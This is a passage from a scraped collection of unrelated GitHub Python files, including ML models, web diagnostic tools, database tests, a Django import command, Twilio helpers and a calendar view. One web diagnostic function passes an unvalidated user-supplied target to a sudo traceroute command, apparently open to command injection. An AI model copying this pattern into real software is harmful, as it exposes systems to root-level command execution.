self.log(f\"Batch: {batch_idx} Train_loss\", loss, on_epoch=True)\n self.log(f\"Batch: {batch_idx} Accuracy\", accuracy, on_epoch=True)\n\n return loss\n\n def configure_optimizers(self):\n return torch.optim.Adam(self.parameters(), lr=self.lr, weight_decay = self.regularization)","repo_name":"conniaren/BlockTrainer","sub_path":"src/block_trainer/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9593297914","text":"#!/usr/bin/env python\n#-*- coding: UTF-8 -*-\n\"\"\"\n\tWeb Page - Diagnostic Tools\n\"\"\"\nimport ml_func\nimport ml_check\nimport ml_w_ip_address\n\ndef start_arping(user = None, threadlock = None):\n\t\"\"\"\n\t\tWeb UI calls start_arping()\n\t\treturn\n\t\t\t(True, None)\n\t\t\t(False, list)\n\t\"\"\"\n\te = ml_w_ip_address.get()\n\tif e[0]:\n\t\tfor i in e[1][\"ip\"]:\n\t\t\tfor p in i[\"ipv4\"]:\n\t\t\t\ttarget = p[\"ipv4_address\"]\n\t\t\t\tml_func.sudo([\"arping -U -c 10\", target], block=True)\n\treturn (True, None)\n\ndef stop_arping(user = None, threadlock = None):\n\t\"\"\"\n\t\tWeb UI calls stop_arping()\n\t\treturn\n\t\t\t(True, None)\n\t\t\t(False, list)\n\t\"\"\"\n\tml_func.sudo([\"killall arping\"], block=True)\n\treturn (True, None)\n\ndef start_ping(user = None, target = None, threadlock = None):\n\t\"\"\"\n\t\tWeb UI calls start_ping()\n\t\treturn\n\t\t\t(True, str)\n\t\t\t(False, list)\n\t\"\"\"\n\tif target is None:\n\t\treturn (False, [\"invalid target\"])\n\tif ml_check.validate_ipv4(target):\n\t\te = ml_func.sudo([\"ping -W 3 -c 10\", target], block=True)\n\telif ml_check.validate_ipv6(target):\n\t\te = ml_func.sudo([\"ping6 -W 3 -c 10\", target], block=True)\n\telse:\n\t\treturn (False, [\"invalid target\"])\n\treturn e\n\ndef stop_ping(user = None, threadlock = None):\n\t\"\"\"\n\t\tWeb UI calls stop_ping()\n\t\treturn\n\t\t\t(True, None)\n\t\t\t(False, list)\n\t\"\"\"\n\tml_func.sudo([\"killall ping\"], block=True)\n\tml_func.sudo([\"killall ping6\"], block=True)\n\treturn (True, None)\n\ndef start_traceroute(user = None, target = None, threadlock = None):\n\t\"\"\"\n\t\tWeb UI calls start_traceroute()\n\t\treturn\n\t\t\t(True, str)\n\t\t\t(False, list)\n\t\"\"\"\n\tif target is None:\n\t\treturn (False, [\"invalid target\"])\n\te = ml_func.sudo([\"traceroute -n\", target], block=True)\n\treturn e\n\ndef stop_traceroute(user = None, threadlock = None):\n\t\"\"\"\n\t\tWeb UI calls stop_traceroute()\n\t\treturn\n\t\t\t(True, None)\n\t\t\t(False, list)\n\t\"\"\"\n\tml_func.sudo([\"killall traceroute\"], block=True)\n\treturn (True, None)\n","repo_name":"poyhsiao/betapyweb-middleware","sub_path":"ml_w_diagnostic_tools.py","file_name":"ml_w_diagnostic_tools.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15425293154","text":"class MergeSort:\n\n def __init__(self,list):\n self.list = list\n\n def sort(self):\n return self.mergeSort(self.list)\n\n def mergeSort(self,list):\n if len(list)>1:\n middle = len(list)//2\n left = list[:middle]\n right = list[middle:]\n self.mergeSort(left)\n self.mergeSort(right)\n self.merge(list,left,right)\n\n return list\n\n def merge(self,list,left,right):\n i,j,k = 0,0,0\n\n while(i>'baz' = 'qux'\", (wrapper(obj, dumps=my_dumps),)\n )\n assert cur.fetchone()[0] is True\n\n\n@pytest.mark.parametrize(\"fmt_in\", [Format.TEXT, Format.BINARY])\n@pytest.mark.parametrize(\"wrapper\", [\"Json\", \"Jsonb\"])\ndef test_json_dump_subclass(conn, wrapper, fmt_in):\n ph = \"%s\" if fmt_in == Format.TEXT else \"%b\"\n wrapper = getattr(psycopg3.types.json, wrapper)\n\n class MyWrapper(wrapper):\n def dumps(self):\n return my_dumps(self.obj)\n\n obj = {\"foo\": \"bar\"}\n cur = conn.cursor()\n cur.execute(f\"select {ph}->>'baz' = 'qux'\", (MyWrapper(obj),))\n assert cur.fetchone()[0] is True\n\n\ndef my_dumps(obj):\n obj[\"baz\"] = \"qux\"\n return json.dumps(obj)\n","repo_name":"greshilov/psycopg3","sub_path":"tests/types/test_json.py","file_name":"test_json.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"20088558717","text":"from recommendation.models import Stock, Sector, Industry\nfrom django.core.management.base import BaseCommand\nimport json\nimport os\n\n#csv file path for stocks\npath = os.path.join(os.path.dirname(os.path.abspath(__file__)),\n '_sp_stock_2019.json')\nclass Command(BaseCommand):\n help = 'Populate db with Stocks'\n\n def handle(self, *args, **options):\n with open(path, 'r') as file:\n reader = json.load(file)\n # sector = Sector.objects.get(pk=all)\n # industry = Industry.objects.all()\n #print (sector)\n for row in reader:\n print(row[\"Sector\"])\n sector = Sector.objects.get(name=row[\"Sector\"])\n industry = Industry.objects.all()\n print(row['Ticker'])\n print(row['Industry'], Industry.objects.get(name=row[\"Industry\"]).id)\n created = Stock.objects.get_or_create(\n ticker=row[\"Ticker\"],\n name=row[\"Name\"],\n description=row[\"Description\"],\n #GICS_sector=row[\"GICS Sector\"],\n sector_id=Sector.objects.get(name=row[\"Sector\"]).id,\n industry_id=Industry.objects.get(name=row[\"Industry\"]).id,\n Female_exec=(row[\"Female_Exec\"]>=1), # do I add >= 1??\n risk=(row[\"Risk\"] >= 1.3),\n csr=row[\"Csr\"],\n hr=row[\"Hr\"],\n )\n self.stdout.write(' created: ' + str(created))","repo_name":"cantua/UniQuity","sub_path":"recommendation/management/commands/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31550971594","text":"from database.db import Database\nimport multiprocessing\n\nclass CoursesRepo():\n def __init__(self, data=''):\n self.data = data\n \n def insert_course_with_time_out(self, timeout):\n course = Database(collection=\"courses\")\n idCourse = course.insert_data(self.data)\n course.close_connection()\n return idCourse\n \n \n def insert_course(self):\n try:\n timeout = 5 \n\n process = multiprocessing.Process(target=self.insert_course_with_time_out, args=(timeout,))\n process.start()\n\n process.join(timeout=timeout)\n\n if process.is_alive():\n process.terminate()\n process.join()\n return '500'\n else:\n return '200'\n\n except Exception as e:\n return '500' \n \n \n def get_all_course(self):\n coursesObj = Database(collection=\"courses\")\n courses = coursesObj.get_all()\n return courses\n \n \n \n ","repo_name":"nailykhry/FINAL-PROJECT-PROGJAR","sub_path":"server/repository/coursesrepo.py","file_name":"coursesrepo.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30802659253","text":"from .compat import urlencode, urlunparse, urlparse\n\nfrom rapid_response_kit.utils.clients import twilio\nimport phonenumbers\n\n\ndef parse_numbers(raw):\n numbers = raw.split(\"\\n\")\n result = []\n for number in numbers:\n converted = convert_to_e164(number)\n if converted and converted not in result:\n result.append(converted)\n\n return result\n\n\ndef convert_to_e164(raw_phone):\n if not raw_phone:\n return\n\n if raw_phone[0] == '+':\n # Phone number may already be in E.164 format.\n parse_type = None\n else:\n # If no country code information present, assume it's a US number\n parse_type = \"US\"\n\n try:\n phone_representation = phonenumbers.parse(raw_phone, parse_type)\n except phonenumbers.NumberParseException:\n return None\n\n return phonenumbers.format_number(phone_representation,\n phonenumbers.PhoneNumberFormat.E164)\n\n\ndef check_is_valid_url(url):\n o = urlparse(url)\n if o.scheme in ['https', 'http']:\n return o.geturl()\n return None\n\n\ndef echo_twimlet(twiml):\n params = {'Twiml': twiml}\n qs = urlencode(params)\n return urlunparse(('http', 'twimlets.com', 'echo', '', qs, ''))\n\n\ndef fallback(message='Sorry the service is down for maintenance'):\n twiml = '{}'.format(message)\n return echo_twimlet(twiml)\n\n\ndef twilio_numbers(id_field='sid'):\n client = twilio()\n\n numbers = client.phone_numbers.list()\n\n result = []\n for number in numbers:\n if number.friendly_name.startswith('[RRKit]'):\n display_name = '[{}] {}'.format(\n number.friendly_name[len('[RRKit]') + 1:],\n number.phone_number\n )\n else:\n display_name = number.phone_number\n\n result.append((getattr(number, id_field), display_name))\n\n return result\n","repo_name":"Twilio-org/rapid-response-kit","sub_path":"rapid_response_kit/utils/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":304,"dataset":"github-code","pt":"75"} +{"seq_id":"15894138634","text":"try: paraview.simple\nexcept: from paraview.simple import *\nparaview.simple._DisableFirstRenderCameraReset()\n\nOutput000000_vtk = GetActiveSource()\nShrink1 = Shrink()\n\nShrink1.ShrinkFactor = 1.0\n\nRenderView1 = GetRenderView()\nDataRepresentation1 = GetDisplayProperties(Output000000_vtk)\nGlyph1 = FindSource(\"Glyph1\")\nDataRepresentation2 = GetDisplayProperties(Glyph1)\nDataRepresentation3 = Show()\nDataRepresentation3.EdgeColor = [0.0, 0.0, 0.5000076295109483]\nDataRepresentation3.SelectionPointFieldDataArrayName = 'PoreRadius'\nDataRepresentation3.SelectionCellFieldDataArrayName = 'TubeRadius'\nDataRepresentation3.ColorArrayName = 'PoreRadius'\nDataRepresentation3.ScalarOpacityUnitDistance = 0.00015209299753087918\nDataRepresentation3.ScaleFactor = 0.0001997485516994857\n\nCellDatatoPointData1 = CellDatatoPointData()\n\na1_PoreRadius_PVLookupTable = GetLookupTableForArray( \"PoreRadius\", 1 )\n\nDataRepresentation1.Visibility = 0\n\nDataRepresentation3.ScalarOpacityFunction = []\nDataRepresentation3.LookupTable = a1_PoreRadius_PVLookupTable\n\nDataRepresentation4 = Show()\nDataRepresentation4.EdgeColor = [0.0, 0.0, 0.5000076295109483]\nDataRepresentation4.SelectionPointFieldDataArrayName = 'TubeRadius'\nDataRepresentation4.SelectionCellFieldDataArrayName = 'TubeRadius'\nDataRepresentation4.ColorArrayName = 'PoreRadius'\nDataRepresentation4.ScalarOpacityUnitDistance = 0.00015209299753087918\nDataRepresentation4.ScaleFactor = 0.0001997485516994857\n\nExtractSurface1 = ExtractSurface()\n\na1_TubeRadius_PVLookupTable = GetLookupTableForArray( \"TubeRadius\", 1, NanColor=[0.25, 0.0, 0.0], RGBPoints=[3.192349e-06, 0.23, 0.299, 0.754, 9.524875e-06, 0.706, 0.016, 0.15], VectorMode='Magnitude', ColorSpace='Diverging', ScalarRangeInitialized=1.0 )\n\na1_TubeRadius_PiecewiseFunction = CreatePiecewiseFunction( Points=[0.0, 0.0, 0.5, 0.0, 1.0, 1.0, 0.5, 0.0] )\n\nDataRepresentation3.Visibility = 0\n\nDataRepresentation4.ScalarOpacityFunction = a1_TubeRadius_PiecewiseFunction\nDataRepresentation4.ColorArrayName = 'TubeRadius'\nDataRepresentation4.LookupTable = a1_TubeRadius_PVLookupTable\n\nDataRepresentation5 = Show()\nDataRepresentation5.EdgeColor = [0.0, 0.0, 0.5000076295109483]\nDataRepresentation5.SelectionPointFieldDataArrayName = 'TubeRadius'\nDataRepresentation5.SelectionCellFieldDataArrayName = 'TubeRadius'\nDataRepresentation5.ColorArrayName = 'TubeRadius'\nDataRepresentation5.ScaleFactor = 0.0001997485516994857\n\nTube1 = Tube()\n\nDataRepresentation4.Visibility = 0\n\nDataRepresentation5.LookupTable = a1_TubeRadius_PVLookupTable\n\nTube1.Scalars = ['POINTS', 'TubeRadius']\nTube1.Vectors = ['POINTS', '']\nTube1.Radius = 1.997485516994857e-05\n\nTube1.VaryRadius = 'By Absolute Scalar'\nTube1.Radius = 1.0\nTube1.RadiusFactor = 20.0\n\nDataRepresentation6 = Show()\nDataRepresentation6.EdgeColor = [0.0, 0.0, 0.5000076295109483]\nDataRepresentation6.SelectionPointFieldDataArrayName = 'TubeRadius'\nDataRepresentation6.SelectionCellFieldDataArrayName = 'TubeRadius'\nDataRepresentation6.ColorArrayName = 'TubeRadius'\nDataRepresentation6.ScaleFactor = 0.00020080167341802736\n\nRenderView1.CameraPosition = [0.0008967092009377338, 0.0003316853849846356, 0.003625105488695014]\nRenderView1.CameraClippingRange = [0.0035491079063353203, 0.0037295147601305767]\n\nDataRepresentation5.Visibility = 0\n\nDataRepresentation6.LookupTable = a1_TubeRadius_PVLookupTable\n\nRender()\n","repo_name":"khayratk/pypnm","sub_path":"pypnm/util/macros_paraview/Generate_tubes.py","file_name":"Generate_tubes.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"75"} +{"seq_id":"21843487971","text":"from cvxopt import matrix, solvers\nimport numpy as np\n\n\nclass HardMarginSVM:\n def __init__(self):\n self.w = None\n self.b = None\n\n def fit(self, X, Y):\n d = len(X[0])\n n = len(X)\n p = matrix(np.identity(d + 1))\n p[0, 0] = 0\n q = matrix(np.zeros(d + 1))\n g = matrix(-np.diag(Y) * np.matrix(np.append(np.ones((n, 1)), X, axis=1)))\n h = matrix(-np.ones(n))\n sol = solvers.qp(p, q, g, h)['x']\n self.b = sol[0]\n self.w = np.array(matrix.trans(sol[1:, :]))\n\n def predict(self, x):\n return 1 if (np.inner(self.w, x) + self.b) > 0 else -1\n\n\nif __name__ == '__main__':\n X = [[1, -2], [4, -5], [4, -1], [5, -2], [7, -7], [7, 1], [7, 1]]\n Y = [-1, -1, -1, 1, 1, 1, 1]\n c = HardMarginSVM()\n c.fit(X, Y)\n for i in range(len(X)):\n assert c.predict(X[i]) * Y[i] > 0\n","repo_name":"narumiruna/Machine-Learning","sub_path":"classification/svm.py","file_name":"svm.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40197435984","text":"import sys\nimport subprocess\nimport threading\nimport time\nimport uuid\nimport os.path\nfrom datetime import datetime\nfrom random import randint\nfrom UniqueConfiguration import UniqueConfiguration\nfrom CommonConfiguration import CommonConfiguration\nfrom printer import console_out, console_out_exception\n\nclass Deployer:\n def __init__(self):\n self._deploy_status = dict()\n self.actor = \"DEPLOYER\"\n\n def deploy(self, runner, configurations, common_conf):\n if common_conf.run_tag == \"none\":\n common_conf.run_tag = str(randint(1, 99999))\n\n self.parallel_deploy(configurations, common_conf)\n\n # if common_conf.background_topology_file != \"none\":\n # runner.run_background_load_across_runs(configurations, common_conf)\n\n def get_deploy_status(self):\n return self._deploy_status\n\n def update_single(self, unique_conf, common_conf):\n raise NotImplementedError\n\n def deploy_single(self, unique_conf, common_conf):\n raise NotImplementedError\n\n def deploy_rabbitmq_cluster(self, unique_conf, common_conf):\n raise NotImplementedError\n\n def teardown_ec2(self, technology, node, run_tag, no_destroy):\n raise NotImplementedError\n\n def teardown_managed_k8s(self, unique_conf, no_destroy):\n raise NotImplementedError\n\n def teardown_loadgen(self, unique_conf, common_conf, no_destroy):\n pass\n\n def teardown_all(self, configurations, common_conf, no_destroy):\n if no_destroy:\n console_out(self.actor, \"No teardown as --no-destroy set to true\")\n self.get_logs_of_all_configs(common_conf, configurations)\n else:\n console_out(self.actor, \"Terminating all servers\")\n self.get_logs_of_all_configs(common_conf, configurations)\n\n for config_tag in configurations:\n console_out(self.actor, f\"TEARDOWN FOR configuration {config_tag}\")\n unique_conf_list = configurations[config_tag]\n for p in range(len(unique_conf_list)):\n unique_conf = unique_conf_list[p]\n\n if unique_conf.deployment == \"ec2\":\n for n in range(0, unique_conf.cluster_size):\n node_num = int(unique_conf.node_number) + n\n console_out(self.actor, f\"TEARDOWN FOR node {node_num}\")\n self.teardown_ec2(unique_conf.technology,\n str(node_num),\n common_conf.run_tag,\n no_destroy)\n console_out(self.actor, f\"TEARDOWN FOR {unique_conf.config_tag} loadgen\")\n self.teardown_loadgen(unique_conf,\n common_conf,\n no_destroy)\n elif unique_conf.deployment == \"eks\" or unique_conf.deployment == \"gke\":\n self.teardown_managed_k8s(unique_conf, no_destroy)\n else:\n raise Exception(f\"Invalid deployment type: {unique_conf.deployment}\")\n console_out(self.actor, \"All servers terminated\")\n exit(1)\n\n def get_start_end_nodes(self, configurations):\n start_node = 0\n last_node = 0\n counter = 0\n for config_tag in configurations:\n unique_conf_list = configurations[config_tag]\n for p in range(len(unique_conf_list)):\n unique_conf = unique_conf_list[p]\n\n if counter == 0:\n start_node = unique_conf.node_number\n\n last_node = int(unique_conf.node_number) + int(unique_conf.cluster_size) - 1\n counter += 1\n\n return start_node, last_node\n\n def get_start_end_nodes_of_config(self, unique_conf):\n start_node = unique_conf.node_number\n last_node = int(unique_conf.node_number) + int(unique_conf.cluster_size) - 1\n \n return start_node, last_node\n\n\n def parallel_deploy(self, configurations, common_conf):\n d_threads = list()\n\n for config_tag in configurations:\n unique_conf_list = configurations[config_tag]\n for i in range(len(unique_conf_list)):\n unique_conf = unique_conf_list[i]\n if common_conf.no_deploy:\n deploy = threading.Thread(target=self.update_single, args=(unique_conf, common_conf,))\n else:\n deploy = threading.Thread(target=self.deploy_rabbitmq_cluster, args=(unique_conf, common_conf,))\n\n d_threads.append(deploy)\n\n for dt in d_threads:\n dt.start()\n\n for dt in d_threads:\n dt.join()\n\n for config_tag in configurations:\n unique_conf_list = configurations[config_tag]\n\n for p in range(len(unique_conf_list)):\n unique_conf = unique_conf_list[p]\n status_id1 = unique_conf.technology + unique_conf.node_number\n\n if self._deploy_status[status_id1] != \"success\":\n console_out(self.actor, f\"Deployment failed for node {unique_conf.technology}{unique_conf.node_number}\")\n if not common_conf.no_deploy:\n self.teardown_all(configurations, common_conf, False)\n\n def get_logs_of_all_configs(self, common_conf, configurations):\n for config_tag in configurations:\n unique_conf_list = configurations[config_tag]\n for p in range(len(unique_conf_list)):\n unique_conf = unique_conf_list[p]\n\n if unique_conf.deployment == \"ec2\":\n try:\n start_node, end_node = self.get_start_end_nodes_of_config(unique_conf)\n self.get_logs(common_conf, unique_conf.logs_volume, start_node, end_node)\n except Exception as e:\n console_out_exception(self.actor, \"Failed retrieving logs\", e)\n elif unique_conf.deployment == \"eks\" or unique_conf.deployment == \"gke\":\n console_out(self.actor, \"Log gathering not yet supported for EKS/GKE\")\n else:\n raise Exception(f\"Invalid deployment type: {unique_conf.deployment}\")\n \n \n def get_logs(self, common_conf, logs_volume, start_node, end_node):\n raise NotImplementedError\n\n def update_broker_config_on_all(self, configurations, common_conf, broker_config):\n for config_tag in configurations:\n unique_conf_list = configurations[config_tag]\n for p in range(len(unique_conf_list)):\n unique_conf = unique_conf_list[p]\n\n start_node, end_node = self.get_start_end_nodes_of_config(unique_conf)\n self.update_broker_config(common_conf, start_node, end_node, broker_config)\n","repo_name":"Vanlightly/RabbitTestTool","sub_path":"orchestration/v1/run/Deployer.py","file_name":"Deployer.py","file_ext":"py","file_size_in_byte":6951,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"22855670336","text":"from jwt_authenticator import jwt\nfrom jwt_authenticator import MyAuthenticator\nfrom jwt_authenticator import datetime\n\nauthenticator = MyAuthenticator('secret..key')\ntoken = authenticator.authenticate('admin', 'password')\n\nif token:\n print('Authentication successful. Token:', token)\n\n try:\n decoded_token = authenticator.verify_token(token)\n print('Token is valid.')\n\n if 'exp' in decoded_token:\n expiration_timestamp = decoded_token['exp']\n expiration_datetime = datetime.datetime.fromtimestamp(expiration_timestamp)\n print('Token expiration date:', expiration_datetime)\n\n current_time = datetime.datetime.utcnow()\n if current_time > expiration_datetime:\n print('Token has expired!') \n\n except jwt.ExpiredSignatureError:\n print('Token has expired!')\n except jwt.InvalidTokenError:\n print('Invalid token.')\nelse:\n print('Authentication failed.')\n","repo_name":"arpan2134/Authentication-system-using-JWT-token","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12842548916","text":"#!/usr/bin/python3\n\nimport os\nimport sys\n\nimport util\n\ndef test_closure_lambda():\n print('[py/closure]')\n\n sumFunc = util.sum()\n box = [1, 2, 3, 4, 5, 6]\n for val in box:\n print(sumFunc(val), end=' ')\n print()\n\n print('[py/lambda]')\n\n # lambda返回的值作为该元素的权值,sort将按照权值大小进行排序\n # 奇数为False,偶数为True,故奇数在前\n print(sorted(box, key=lambda x: x % 2 == 0))\n\ndef test_decorator():\n print('[py/decorator]')\n\n oPlayer = util.Player(1024)\n oPlayer.signin()\n oPlayer.buyItem(64)\n print(oPlayer.getBaseName())\n\ndef test_args_and_kwargs():\n print('[py/(*args and **kwargs)]')\n\n util.foo(1, 2, x=3, y='4', z=[])\n util.foo(*(1, 2), **{'x': 3, 'y': '4', 'z': []})\n\ndef test_getLocalIP():\n print('[py/getLocalIP]')\n\n print(util.getLocalIP())\n\n oIniConfig = util.IniConfig()\n oFilePathFn = lambda name: os.path.join(sys.path[0], f'{name}.ini')\n\n sInputPath = oFilePathFn('config')\n oIniConfig.read(sInputPath)\n\n oIniConfig.set('net', 'ip', '220.181.38.148')\n sOutputPath = oFilePathFn('output')\n\n with open(sOutputPath, 'w') as oFile:\n oIniConfig.write(oFile)\n\ndef test_eval_and_repr():\n print('[py/(eval and repr)]')\n\n x, y = 2, 4\n z = eval('x + y')\n print(f'result(eval): {z}')\n\n sObj = repr({ 1: x, 3: y })\n print(f'result(repr): {sObj}')\n\ndef test_cpu_count():\n print('[py/cpu_count]')\n\n print(f'cpu(s): {os.cpu_count()}')\n\ndef test_encode_and_decode():\n print('[py/(encode/decode)]')\n\n s_utf8_content = '未曾设想的道路'\n print(s_utf8_content)\n\n by_utf8_content = s_utf8_content.encode('utf-8') # unicode -> utf-8\n by_gbk_content = s_utf8_content.encode('gbk') # unicode -> gbk\n\n print(by_utf8_content)\n print(by_gbk_content)\n\n s_gbk_content = by_gbk_content.decode('gbk') # gbk -> unicode\n print(s_gbk_content)\n\n by_utf8_content = s_gbk_content.encode('utf-8') # unicode -> utf-8\n by_gbk_content = s_gbk_content.encode('gbk') # unicode -> gbk\n\n print(by_utf8_content)\n print(by_gbk_content)\n\ndef test_zip():\n print('[py/zip]')\n\n dInfo = {\n 'name': 'mysql',\n 'version': '8.0.19'\n }\n for kv in zip(dInfo.keys(), dInfo.values()):\n print('{}: {}'.format(kv[0], kv[1]))\n\ndef test_enumerate():\n print('[py/enumerate]')\n\n lstDBName = ['mariadb', 'mongodb', 'mysql', 'redis']\n for idx, element in enumerate(lstDBName):\n print('lstDBName[%d]=%s'%(idx, element))\n\n print(['%s-x86_64'%name for name in lstDBName])\n\ndef test_asyncio():\n print('[py/asyncio]')\n\n oLooper = util.Looper()\n oFuture = oLooper.runTask(util.isValid())\n if oFuture.result():\n for _ in range(10):\n oLooper.addTask(util.test(2))\n oLooper.run()\n\nif __name__ == '__main__':\n test_closure_lambda()\n test_decorator()\n test_args_and_kwargs()\n\n test_getLocalIP()\n test_eval_and_repr()\n test_cpu_count()\n test_encode_and_decode()\n\n test_zip()\n test_enumerate()\n\n test_asyncio()\n","repo_name":"paoqi1997/snippets","sub_path":"python/part1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10743681789","text":"from cone.app.browser import render_main_template\nfrom cone.app.browser.utils import format_traceback\nfrom cone.tile import Tile\nfrom cone.tile import tile\nfrom datetime import datetime\nfrom pyramid.i18n import TranslationStringFactory\nfrom pyramid.view import view_config\nimport json\nimport logging\n\n\nlogger = logging.getLogger('cone.calendar')\n_ = TranslationStringFactory('cone.calendar')\n\n\ndef parse_date(seconds):\n \"\"\"Parse datetime from value received from fullcalendar.\n \"\"\"\n return datetime.utcfromtimestamp(int(seconds))\n\n\ndef format_date(dt):\n \"\"\"Format datetime suitable for fullcalendar.\n \"\"\"\n return dt.isoformat()\n\n\n@tile(name='calendar', path='calendar.pt', permission='view')\nclass CalendarTile(Tile):\n \"\"\"Tile rendering the fullcalendar widget.\n\n Reference: https://fullcalendar.io/docs/v3\n\n Configuration of the calendar is done via ``model.properties`` object.\n\n Available configuration properties:\n\n ``calendar_locale``:\n Corresponds to ``locale`` option passed to fullcalendar.\n\n See https://fullcalendar.io/docs/v3/locale\n\n Note: Locale files must be preloaded in order to provide the desored\n locales. The available locales are configured in the application ini\n file.\n\n ``calendar_header``:\n Corresponds to ``header`` option passed to fullcalendar.\n\n See https://fullcalendar.io/docs/v3/header\n\n ``calendar_footer``:\n Corresponds to ``footer`` option passed to fullcalendar.\n\n See https://fullcalendar.io/docs/v3/footer\n\n ``calendar_first_day``:\n Corresponds to ``firstDay`` option passed to fullcalendar.\n\n See https://fullcalendar.io/docs/v3/firstDay\n\n ``calendar_weekends``:\n Corresponds to ``weekends`` option passed to fullcalendar.\n\n See https://fullcalendar.io/docs/v3/weekends\n\n ``calendar_week_numbers``:\n Corresponds to ``weekNumbers`` option passed to fullcalendar.\n\n See https://fullcalendar.io/docs/v3/weekNumbers\n\n ``calendar_week_numbers_within_days``:\n Corresponds to ``weekNumbersWithinDays`` option passed to fullcalendar.\n\n See https://fullcalendar.io/docs/v3/weekNumbersWithinDays\n\n ``calendar_business_hours``:\n Corresponds to ``businessHours`` option passed to fullcalendar.\n\n See https://fullcalendar.io/docs/v3/businessHours\n\n ``calendar_sources``:\n A list of dictionaries containing event source configurations.\n\n See https://fullcalendar.io/docs/v3/event-source-object\n\n As ``events`` attribute, a JSON view name is expected. On the client\n side a callback handler gets created using this view name for fetching\n event data. The base class for implementing JSON event data is\n ``CalendarEvents``.\n\n If ``calendar_sources`` is not defined on model properties,\n ``CalendarTile.default_sources`` is used.\n\n ``calendar_actions``:\n List of actions for clicking empty day/time in calendar.\n\n Action definition format and behavior is the same as for the ``actions``\n attribute of event data.\n\n See ``CalendarEvents.events`` documentation for details.\n\n As default target the calendar context target is used if not defined\n explicitely on actions.\n\n If ``calendar_actions`` is not defined on model properties,\n ``CalendarTile.default_actions`` is used.\n \"\"\"\n show_contextmenu = False\n option_mapping = {\n 'calendar_locale': 'locale',\n 'calendar_header': 'header',\n 'calendar_footer': 'footer',\n 'calendar_first_day': 'firstDay',\n 'calendar_weekends': 'weekends',\n 'calendar_week_numbers': 'weekNumbers',\n 'calendar_week_numbers_within_days': 'weekNumbersWithinDays',\n 'calendar_business_hours': 'businessHours'\n }\n default_options = {\n 'calendar_locale': 'en'\n }\n default_sources = [{\n 'events': 'calendar_events'\n }]\n default_actions = []\n\n @property\n def target(self):\n \"\"\"Calendar context target. Gets used for querying event sources.\n \"\"\"\n return self.nodeurl\n\n @property\n def options(self):\n options = {}\n for prop_name, option_name in self.option_mapping.items():\n value = getattr(self.model.properties, prop_name)\n if value is None:\n value = self.default_options.get(prop_name)\n if value is not None:\n options[option_name] = value\n return json.dumps(options, sort_keys=True) if options else None\n\n @property\n def sources(self):\n sources = self.model.properties.calendar_sources\n if not sources:\n sources = self.default_sources\n return json.dumps(sources)\n\n @property\n def actions(self):\n actions = self.model.properties.calendar_actions\n if not actions:\n actions = self.default_actions\n return json.dumps(actions)\n\n\n@view_config(name='calendar', permission='view')\ndef calendar(model, request):\n \"\"\"Traversable view rendering the ``calendar`` tile to content area.\n \"\"\"\n return render_main_template(model, request, 'calendar')\n\n\nclass JSONView(object):\n \"\"\"Abstract JSON view.\n \"\"\"\n\n def __init__(self, model, request):\n self.model = model\n self.request = request\n\n def __call__(self):\n \"\"\"Return dict with JSON data result.\n\n If success, dict contains data at key 'data'.\n\n If an exception is raised while computing, dict contains flag indicating\n error happends at key 'error' and the formatted traceback at key\n 'message'.\n \"\"\"\n try:\n return dict(data=self.data())\n except Exception as e:\n logger.exception(e)\n return dict(\n error=True,\n message=format_traceback()\n )\n\n def data(self):\n \"\"\"Supposed to be implemented on subclass. Responsible to compute JSON\n data delivered to client.\n \"\"\"\n raise NotImplementedError(\n 'Abstract ``JSONView`` does not implement ``data``'\n )\n\n\n@view_config(\n name='calendar_events',\n accept='application/json',\n renderer='json',\n permission='view')\nclass CalendarEvents(JSONView):\n \"\"\"Abstract JSON event data view for fullcalendar.\n\n Concrete even data providers must derive from this object and implement\n ``events`` function.\n \"\"\"\n\n @property\n def range_start(self):\n \"\"\"Event range start as datetime.\n \"\"\"\n start = self.request.params.get('start')\n return parse_date(start)\n\n @property\n def range_end(self):\n \"\"\"Event range end as datetime.\n \"\"\"\n end = self.request.params.get('end')\n return parse_date(end)\n\n def events(self, start, end):\n \"\"\"Return events for requested range.\n\n Return format:\n\n [{\n 'id': uuid.UUID,\n 'title': 'Event Title',\n 'start': datetime.datetime,\n 'end': datetime.datetime,\n 'target': 'https://example.com/path/to/event',\n 'actions': [{\n 'title': 'Edit',\n 'icon': 'glyphicons glyphicons-pencil',\n 'target': 'https://example.com/path/to/event?param=value',\n 'overlay': {\n 'action': 'overlayedit',\n 'selector': '#ajax-form',\n 'content_selector': '.overlay_content',\n 'css': 'overlay-form'\n }\n }, {\n 'title': 'Delete',\n 'icon': 'glyphicons glyphicons-remove-circle',\n 'confirm': 'Do you really want to delete this event?',\n 'action': {\n 'name': 'delete',\n 'selector': 'NONE',\n 'mode': 'NONE'\n }\n }]\n }]\n\n For a full list of fullcalendar event attributes see\n https://fullcalendar.io/docs/v3/event-object\n\n The ``actions`` and ``target`` attributes are cone specific.\n\n ``target`` defines the default target where actions get executed.\n Target can be overwritten by specific actions. Target represents the URL of\n the event without trailing view name and may contain a query string.\n Target is mandatory if event is editable or actions are defined which\n do not provide a target on their 